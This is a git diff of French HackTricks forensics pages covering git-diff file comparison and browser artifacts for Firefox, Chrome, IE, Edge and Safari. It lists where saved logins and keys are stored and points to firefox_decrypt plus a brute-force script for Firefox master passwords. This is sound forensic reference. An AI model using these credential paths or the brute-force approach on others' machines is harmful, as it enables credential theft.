* **Pour le contenu modifié**, répertoriez les modifications en ignorant les lignes spécifiques :
|
||||||
```bash
|
```bash
|
||||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||||
```
|
```
|
||||||
- **Pour détecter les fichiers supprimés**:
|
* **Pour détecter les fichiers supprimés**:
|
||||||
```bash
|
```bash
|
||||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||||
```
|
```
|
||||||
- **Options de filtre** (`--diff-filter`) aident à restreindre les changements spécifiques tels que les fichiers ajoutés (`A`), supprimés (`D`), ou modifiés (`M`).
|
* **Options de filtre** (`--diff-filter`) aident à restreindre les changements spécifiques tels que les fichiers ajoutés (`A`), supprimés (`D`), ou modifiés (`M`).
|
||||||
- `A`: Fichiers ajoutés
|
* `A`: Fichiers ajoutés
|
||||||
- `C`: Fichiers copiés
|
* `C`: Fichiers copiés
|
||||||
- `D`: Fichiers supprimés
|
* `D`: Fichiers supprimés
|
||||||
- `M`: Fichiers modifiés
|
* `M`: Fichiers modifiés
|
||||||
- `R`: Fichiers renommés
|
* `R`: Fichiers renommés
|
||||||
- `T`: Changements de type (par exemple, fichier vers lien symbolique)
|
* `T`: Changements de type (par exemple, fichier vers lien symbolique)
|
||||||
- `U`: Fichiers non fusionnés
|
* `U`: Fichiers non fusionnés
|
||||||
- `X`: Fichiers inconnus
|
* `X`: Fichiers inconnus
|
||||||
- `B`: Fichiers cassés
|
* `B`: Fichiers cassés
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||||
* **Livre : Guide de terrain de la cybercriminalité pour les systèmes Linux : Guides de terrain en informatique numérique**
|
* **Livre: Guide de terrain de la cybercriminalité pour les systèmes Linux: Guides de terrain pour la cybercriminalité**
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
||||||
**Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
**Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Obtenez l'accès aujourd'hui:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -28,55 +28,51 @@ Les artéfacts des navigateurs incluent divers types de données stockées par l
|
||||||
|
|
||||||
Voici un résumé des artéfacts de navigateur les plus courants :
|
Voici un résumé des artéfacts de navigateur les plus courants :
|
||||||
|
|
||||||
- **Historique de navigation** : Suit les visites des utilisateurs sur les sites Web, utile pour identifier les visites sur des sites malveillants.
|
* **Historique de navigation** : Suit les visites des utilisateurs sur des sites Web, utile pour identifier les visites sur des sites malveillants.
|
||||||
- **Données d'autocomplétion** : Suggestions basées sur des recherches fréquentes, offrant des informations lorsqu'elles sont combinées avec l'historique de navigation.
|
* **Données d'autocomplétion** : Suggestions basées sur des recherches fréquentes, offrant des informations lorsqu'elles sont combinées avec l'historique de navigation.
|
||||||
- **Favoris** : Sites enregistrés par l'utilisateur pour un accès rapide.
|
* **Favoris** : Sites enregistrés par l'utilisateur pour un accès rapide.
|
||||||
- **Extensions et modules complémentaires** : Extensions de navigateur ou modules complémentaires installés par l'utilisateur.
|
* **Extensions et modules complémentaires** : Extensions de navigateur ou modules complémentaires installés par l'utilisateur.
|
||||||
- **Cache** : Stocke le contenu Web (par exemple, images, fichiers JavaScript) pour améliorer les temps de chargement du site, précieux pour l'analyse forensique.
|
* **Cache** : Stocke le contenu Web (par exemple, images, fichiers JavaScript) pour améliorer les temps de chargement des sites Web, précieux pour l'analyse forensique.
|
||||||
- **Connexions** : Identifiants de connexion enregistrés.
|
* **Connexions** : Identifiants de connexion enregistrés.
|
||||||
- **Favicons** : Icônes associées aux sites Web, apparaissant dans les onglets et les favoris, utiles pour obtenir des informations supplémentaires sur les visites des utilisateurs.
|
* **Favicons** : Icônes associées aux sites Web, apparaissant dans les onglets et les favoris, utiles pour obtenir des informations supplémentaires sur les visites des utilisateurs.
|
||||||
- **Sessions de navigateur** : Données relatives aux sessions de navigateur ouvertes.
|
* **Sessions de navigateur** : Données relatives aux sessions de navigateur ouvertes.
|
||||||
- **Téléchargements** : Enregistrements des fichiers téléchargés via le navigateur.
|
* **Téléchargements** : Enregistrements des fichiers téléchargés via le navigateur.
|
||||||
- **Données de formulaire** : Informations saisies dans les formulaires Web, enregistrées pour des suggestions de remplissage automatique ultérieures.
|
* **Données de formulaire** : Informations saisies dans les formulaires Web, enregistrées pour des suggestions de remplissage automatique ultérieures.
|
||||||
- **Miniatures** : Images de prévisualisation des sites Web.
|
* **Miniatures** : Images de prévisualisation des sites Web.
|
||||||
- **Dictionnaire personnalisé.txt** : Mots ajoutés par l'utilisateur au dictionnaire du navigateur.
|
* **Dictionnaire personnalisé.txt** : Mots ajoutés par l'utilisateur au dictionnaire du navigateur.
|
||||||
|
|
||||||
|
|
||||||
## Firefox
|
## Firefox
|
||||||
|
|
||||||
Firefox organise les données utilisateur dans des profils, stockés à des emplacements spécifiques en fonction du système d'exploitation :
|
Firefox organise les données utilisateur dans des profils, stockés à des emplacements spécifiques en fonction du système d'exploitation :
|
||||||
|
|
||||||
- **Linux** : `~/.mozilla/firefox/`
|
* **Linux** : `~/.mozilla/firefox/`
|
||||||
- **MacOS** : `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
* **MacOS** : `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||||
- **Windows** : `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
* **Windows** : `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||||
|
|
||||||
Un fichier `profiles.ini` dans ces répertoires répertorie les profils utilisateur. Les données de chaque profil sont stockées dans un dossier nommé d'après la variable `Path` dans `profiles.ini`, situé dans le même répertoire que `profiles.ini` lui-même. Si un dossier de profil est manquant, il a peut-être été supprimé.
|
Un fichier `profiles.ini` dans ces répertoires répertorie les profils utilisateur. Les données de chaque profil sont stockées dans un dossier nommé d'après la variable `Path` dans `profiles.ini`, situé dans le même répertoire que `profiles.ini` lui-même. Si le dossier d'un profil est manquant, il a peut-être été supprimé.
|
||||||
|
|
||||||
Dans chaque dossier de profil, vous pouvez trouver plusieurs fichiers importants :
|
Dans chaque dossier de profil, vous pouvez trouver plusieurs fichiers importants :
|
||||||
|
|
||||||
- **places.sqlite** : Stocke l'historique, les favoris et les téléchargements. Des outils comme [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) sur Windows peuvent accéder aux données d'historique.
|
* **places.sqlite** : Stocke l'historique, les favoris et les téléchargements. Des outils comme [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) sur Windows peuvent accéder aux données d'historique.
|
||||||
- Utilisez des requêtes SQL spécifiques pour extraire les informations d'historique et de téléchargement.
|
* Utilisez des requêtes SQL spécifiques pour extraire des informations d'historique et de téléchargements.
|
||||||
- **bookmarkbackups** : Contient des sauvegardes de favoris.
|
* **bookmarkbackups** : Contient des sauvegardes de favoris.
|
||||||
- **formhistory.sqlite** : Stocke les données de formulaire Web.
|
* **formhistory.sqlite** : Stocke les données de formulaire Web.
|
||||||
- **handlers.json** : Gère les gestionnaires de protocole.
|
* **handlers.json** : Gère les gestionnaires de protocole.
|
||||||
- **persdict.dat** : Mots du dictionnaire personnalisé.
|
* **persdict.dat** : Mots du dictionnaire personnalisé.
|
||||||
- **addons.json** et **extensions.sqlite** : Informations sur les modules complémentaires et extensions installés.
|
* **addons.json** et **extensions.sqlite** : Informations sur les modules complémentaires et extensions installés.
|
||||||
- **cookies.sqlite** : Stockage des cookies, avec [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible pour inspection sur Windows.
|
* **cookies.sqlite** : Stockage des cookies, avec [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible pour inspection sur Windows.
|
||||||
- **cache2/entries** ou **startupCache** : Données de cache, accessibles via des outils comme [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
* **cache2/entries** ou **startupCache** : Données de cache, accessibles via des outils comme [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||||
- **favicons.sqlite** : Stocke les favicons.
|
* **favicons.sqlite** : Stocke les favicons.
|
||||||
- **prefs.js** : Paramètres et préférences utilisateur.
|
* **prefs.js** : Paramètres et préférences utilisateur.
|
||||||
- **downloads.sqlite** : Ancienne base de données de téléchargements, désormais intégrée dans places.sqlite.
|
* **downloads.sqlite** : Ancienne base de données de téléchargements, désormais intégrée à places.sqlite.
|
||||||
- **miniatures** : Miniatures de sites Web.
|
* **miniatures** : Miniatures de sites Web.
|
||||||
- **logins.json** : Informations de connexion chiffrées.
|
* **logins.json** : Informations de connexion chiffrées.
|
||||||
- **key4.db** ou **key3.db** : Stocke les clés de chiffrement pour sécuriser les informations sensibles.
|
* **key4.db** ou **key3.db** : Stocke les clés de chiffrement pour sécuriser les informations sensibles.
|
||||||
|
|
||||||
De plus, vérifier les paramètres anti-hameçonnage du navigateur peut se faire en recherchant les entrées `browser.safebrowsing` dans `prefs.js`, indiquant si les fonctionnalités de navigation sécurisée sont activées ou désactivées.
|
De plus, vérifier les paramètres anti-hameçonnage du navigateur peut se faire en recherchant les entrées `browser.safebrowsing` dans `prefs.js`, indiquant si les fonctionnalités de navigation sécurisée sont activées ou désactivées.
|
||||||
|
|
||||||
|
|
||||||
Pour essayer de décrypter le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
Pour essayer de décrypter le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||||
Avec le script et l'appel suivants, vous pouvez spécifier un fichier de mot de passe à forcer :
|
Avec le script et l'appel suivants, vous pouvez spécifier un fichier de mot de passe à forcer :
|
||||||
|
|
||||||
{% code title="brute.sh" %}
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
@ -95,26 +91,25 @@ done < $passfile
|
||||||
|
|
||||||
Google Chrome stocke les profils d'utilisateurs dans des emplacements spécifiques en fonction du système d'exploitation :
|
Google Chrome stocke les profils d'utilisateurs dans des emplacements spécifiques en fonction du système d'exploitation :
|
||||||
|
|
||||||
- **Linux** : `~/.config/google-chrome/`
|
* **Linux** : `~/.config/google-chrome/`
|
||||||
- **Windows** : `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
* **Windows** : `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||||
- **MacOS** : `/Users/$USER/Library/Application Support/Google/Chrome/`
|
* **MacOS** : `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||||
|
|
||||||
Dans ces répertoires, la plupart des données utilisateur peuvent être trouvées dans les dossiers **Default/** ou **ChromeDefaultData/**. Les fichiers suivants contiennent des données significatives :
|
Dans ces répertoires, la plupart des données utilisateur peuvent être trouvées dans les dossiers **Default/** ou **ChromeDefaultData/**. Les fichiers suivants contiennent des données significatives :
|
||||||
|
|
||||||
- **Historique** : Contient des URL, des téléchargements et des mots-clés de recherche. Sur Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) peut être utilisé pour lire l'historique. La colonne "Type de transition" a diverses significations, y compris les clics des utilisateurs sur des liens, les URL saisies, les soumissions de formulaires et les rechargements de page.
|
* **Historique** : Contient des URL, des téléchargements et des mots-clés de recherche. Sur Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) peut être utilisé pour lire l'historique. La colonne "Type de transition" a diverses significations, y compris les clics des utilisateurs sur des liens, les URL saisies, les soumissions de formulaires et les rechargements de pages.
|
||||||
- **Cookies** : Stocke les cookies. Pour l'inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) est disponible.
|
* **Cookies** : Stocke les cookies. Pour l'inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) est disponible.
|
||||||
- **Cache** : Contient des données mises en cache. Pour l'inspection, les utilisateurs de Windows peuvent utiliser [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
* **Cache** : Contient des données mises en cache. Pour l'inspection, les utilisateurs de Windows peuvent utiliser [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
|
||||||
- **Signets** : Signets de l'utilisateur.
|
* **Signets** : Signets de l'utilisateur.
|
||||||
- **Données Web** : Contient l'historique des formulaires.
|
* **Données Web** : Contient l'historique des formulaires.
|
||||||
- **Favicons** : Stocke les favicons des sites Web.
|
* **Favicons** : Stocke les favicons des sites Web.
|
||||||
- **Données de connexion** : Inclut les informations de connexion telles que les noms d'utilisateur et les mots de passe.
|
* **Données de connexion** : Inclut les informations de connexion telles que les noms d'utilisateur et les mots de passe.
|
||||||
- **Session actuelle**/**Onglets actuels** : Données sur la session de navigation actuelle et les onglets ouverts.
|
* **Session actuelle**/**Onglets actuels** : Données sur la session de navigation actuelle et les onglets ouverts.
|
||||||
- **Dernière session**/**Derniers onglets** : Informations sur les sites actifs lors de la dernière session avant la fermeture de Chrome.
|
* **Dernière session**/**Derniers onglets** : Informations sur les sites actifs lors de la dernière session avant la fermeture de Chrome.
|
||||||
- **Extensions** : Répertoires pour les extensions et les modules complémentaires du navigateur.
|
* **Extensions** : Répertoires pour les extensions et les modules complémentaires du navigateur.
|
||||||
- **Vignettes** : Stocke les vignettes des sites Web.
|
* **Miniatures** : Stocke les miniatures des sites Web.
|
||||||
- **Préférences** : Un fichier riche en informations, comprenant des paramètres pour les plugins, les extensions, les pop-ups, les notifications, et plus encore.
|
* **Préférences** : Un fichier riche en informations, comprenant des paramètres pour les plugins, les extensions, les pop-ups, les notifications, et plus encore.
|
||||||
- **Anti-hameçonnage intégré du navigateur** : Pour vérifier si la protection contre le hameçonnage et les logiciels malveillants est activée, exécutez `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Recherchez `{"enabled: true,"}` dans la sortie.
|
* **Anti-hameçonnage intégré du navigateur** : Pour vérifier si la protection anti-hameçonnage et contre les logiciels malveillants est activée, exécutez `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Recherchez `{"enabled: true,"}` dans la sortie.
|
||||||
|
|
||||||
|
|
||||||
## **Récupération de données de base de données SQLite**
|
## **Récupération de données de base de données SQLite**
|
||||||
|
|
||||||
|
@ -125,64 +120,68 @@ Comme vous pouvez l'observer dans les sections précédentes, Chrome et Firefox
|
||||||
Internet Explorer 11 gère ses données et métadonnées à travers divers emplacements, facilitant la séparation des informations stockées et de leurs détails correspondants pour un accès et une gestion faciles.
|
Internet Explorer 11 gère ses données et métadonnées à travers divers emplacements, facilitant la séparation des informations stockées et de leurs détails correspondants pour un accès et une gestion faciles.
|
||||||
|
|
||||||
### Stockage des métadonnées
|
### Stockage des métadonnées
|
||||||
Les métadonnées d'Internet Explorer sont stockées dans `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (avec VX étant V01, V16 ou V24). En complément, le fichier `V01.log` peut montrer des divergences de temps de modification avec `WebcacheVX.data`, indiquant un besoin de réparation en utilisant `esentutl /r V01 /d`. Ces métadonnées, logées dans une base de données ESE, peuvent être récupérées et inspectées à l'aide d'outils tels que photorec et [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivement. Dans le tableau **Containers**, on peut discerner les tables ou conteneurs spécifiques où chaque segment de données est stocké, y compris les détails du cache pour d'autres outils Microsoft tels que Skype.
|
|
||||||
|
Les métadonnées d'Internet Explorer sont stockées dans `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (avec VX étant V01, V16 ou V24). En complément, le fichier `V01.log` peut montrer des divergences de temps de modification avec `WebcacheVX.data`, indiquant un besoin de réparation en utilisant `esentutl /r V01 /d`. Ces métadonnées, logées dans une base de données ESE, peuvent être récupérées et inspectées à l'aide d'outils tels que photorec et [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivement. Dans la table **Containers**, on peut discerner les tables ou conteneurs spécifiques où chaque segment de données est stocké, y compris les détails du cache pour d'autres outils Microsoft tels que Skype.
|
||||||
|
|
||||||
### Inspection du cache
|
### Inspection du cache
|
||||||
L'outil [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permet l'inspection du cache, nécessitant l'emplacement du dossier d'extraction des données du cache. Les métadonnées du cache incluent le nom de fichier, le répertoire, le nombre d'accès, l'origine de l'URL, et les horodatages indiquant la création du cache, l'accès, la modification, et les temps d'expiration.
|
|
||||||
|
L'outil [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permet l'inspection du cache, nécessitant l'emplacement du dossier d'extraction des données de cache. Les métadonnées du cache incluent le nom de fichier, le répertoire, le nombre d'accès, l'origine de l'URL, et les horodatages indiquant la création du cache, l'accès, la modification, et les temps d'expiration.
|
||||||
|
|
||||||
### Gestion des cookies
|
### Gestion des cookies
|
||||||
|
|
||||||
Les cookies peuvent être explorés en utilisant [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), avec des métadonnées comprenant des noms, des URLs, des comptes d'accès, et divers détails liés au temps. Les cookies persistants sont stockés dans `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, tandis que les cookies de session résident en mémoire.
|
Les cookies peuvent être explorés en utilisant [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), avec des métadonnées comprenant des noms, des URLs, des comptes d'accès, et divers détails liés au temps. Les cookies persistants sont stockés dans `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, tandis que les cookies de session résident en mémoire.
|
||||||
|
|
||||||
### Détails des téléchargements
|
### Détails des téléchargements
|
||||||
Les métadonnées des téléchargements sont accessibles via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), avec des conteneurs spécifiques contenant des données telles que l'URL, le type de fichier, et l'emplacement du téléchargement. Les fichiers physiques peuvent être trouvés sous `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
|
||||||
|
Les métadonnées des téléchargements sont accessibles via [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), avec des conteneurs spécifiques contenant des données telles que l'URL, le type de fichier, et l'emplacement de téléchargement. Les fichiers physiques peuvent être trouvés sous `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||||
|
|
||||||
### Historique de navigation
|
### Historique de navigation
|
||||||
Pour examiner l'historique de navigation, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé, nécessitant l'emplacement des fichiers d'historique extraits et la configuration pour Internet Explorer. Les métadonnées ici incluent les temps de modification et d'accès, ainsi que les comptes d'accès. Les fichiers d'historique sont situés dans `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
|
||||||
|
Pour examiner l'historique de navigation, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) peut être utilisé, nécessitant l'emplacement des fichiers d'historique extraits et la configuration pour Internet Explorer. Les métadonnées ici incluent les temps de modification et d'accès, ainsi que les comptes d'accès. Les fichiers d'historique sont situés dans `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||||
|
|
||||||
### URLs saisies
|
### URLs saisies
|
||||||
Les URLs saisies et leurs horaires d'utilisation sont stockés dans le registre sous `NTUSER.DAT` à `Software\Microsoft\InternetExplorer\TypedURLs` et `Software\Microsoft\InternetExplorer\TypedURLsTime`, suivant les 50 dernières URLs saisies par l'utilisateur et leurs derniers horaires d'entrée.
|
|
||||||
|
|
||||||
|
Les URLs saisies et leurs horaires d'utilisation sont stockés dans le registre sous `NTUSER.DAT` à `Software\Microsoft\InternetExplorer\TypedURLs` et `Software\Microsoft\InternetExplorer\TypedURLsTime`, suivant les 50 dernières URLs saisies par l'utilisateur et leurs derniers horaires d'entrée.
|
||||||
|
|
||||||
## Microsoft Edge
|
## Microsoft Edge
|
||||||
|
|
||||||
Microsoft Edge stocke les données utilisateur dans `%userprofile%\Appdata\Local\Packages`. Les chemins pour différents types de données sont :
|
Microsoft Edge stocke les données utilisateur dans `%userprofile%\Appdata\Local\Packages`. Les chemins pour différents types de données sont :
|
||||||
|
|
||||||
- **Chemin du profil** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
* **Chemin du profil** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||||
- **Historique, Cookies et Téléchargements** : `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
* **Historique, Cookies et Téléchargements** : `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||||
- **Paramètres, Signets et Liste de lecture** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
* **Paramètres, Signets et Liste de lecture** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||||
- **Cache** : `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
* **Cache** : `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||||
- **Dernières sessions actives** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
* **Dernières sessions actives** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||||
|
|
||||||
## Safari
|
## Safari
|
||||||
|
|
||||||
Les données de Safari sont stockées dans `/Users/$User/Library/Safari`. Les fichiers clés incluent :
|
Les données de Safari sont stockées à `/Users/$User/Library/Safari`. Les fichiers clés incluent :
|
||||||
|
|
||||||
- **History.db** : Contient les tables `history_visits` et `history_items` avec des URLs et des horodatages de visite. Utilisez `sqlite3` pour interroger.
|
* **History.db** : Contient les tables `history_visits` et `history_items` avec des URLs et des horodatages de visite. Utilisez `sqlite3` pour interroger.
|
||||||
- **Downloads.plist** : Informations sur les fichiers téléchargés.
|
* **Downloads.plist** : Informations sur les fichiers téléchargés.
|
